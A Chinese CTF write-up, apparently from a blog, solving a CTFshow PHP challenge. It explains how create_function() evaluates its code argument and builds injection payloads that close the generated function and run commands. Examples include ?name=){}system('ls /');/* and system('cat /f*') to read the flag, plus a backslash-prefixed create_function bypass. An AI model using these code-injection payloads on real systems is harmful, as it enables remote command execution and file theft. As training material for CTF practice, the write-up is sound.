[CTFshow 红包挑战] 红包挑战8 Write up

红包挑战8

源码如下

<?php

highlight_file(__FILE__);
error_reporting(0);

extract($_GET);
create_function($name,base64_encode($value))();

考察creat_function函数


create_function()函数

适用范围:PHP 4> = 4.0.1PHP 5PHP 7

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

语法:

create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分

函数功能分析:

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

输出:

New anonymous function:  lambda_1
ln(2) + ln(2.718281828459) = 1.6931471805599

reate_function()会创建一个匿名函数(lambda样式)

create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。

因此create_function函数等价于

<?php
function lambda1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

1681287158052

代码注入举例:

<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}

最后的/i是不区分大小写,/s匹配任何不可见字符 /D如果以$限制结尾字符,则不允许结尾有换行

构造payload:

?a=\create_function&b=return 'Leaf';}phpinfo();/*

\的作用是绕过正则匹配preg_match,第一个分号是让return语句结束,}的作用是让create_function语句闭合,然后执行phpinfo();后面要加/*是为了让最后的大括号被注释掉来保证phpinfo()正常执行

简单解释一下,creat_function就是创建一个函数,这里

create_function($name,base64_encode($value))();

可以看作如下代码:

creat($name){
	base64_encode($value)
}

也就是当做函数片段来看

这里base54_encode($value)也可以暂时先不看,先处理$name

我们要做的是让我们创建出来的函数闭合,然后去执行接下来的语句

假设name传入的值

?name=){}phpinfo();/*

我们把payload中$name带入

#带入$name
creat(){}phpinfo();/*){
	base64_encode($value)
}

整理一下

creat(){
    #空语句
}phpinfo();/*){
	base64_encode($value)
}

由此可以执行phpinfo()


回到该题,creat_function已经给出,我们需要是传入$name让他的语句闭合并执行我们的命令,然后再传入$value(这个随便传都可以好像)

但是这里注意一点,我们不仅要闭合creat_function还要闭合($name)的括号

直接构造payload:

?value=Leaf&name=){}system('ls /');/*

image-20230814032513077

修改命令为cat /f*得到flag

?value=Leaf&name=){}system('cat /f*');/*

image-20230814032707267


该题可以参考:[NISACTF 2022]level-up

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值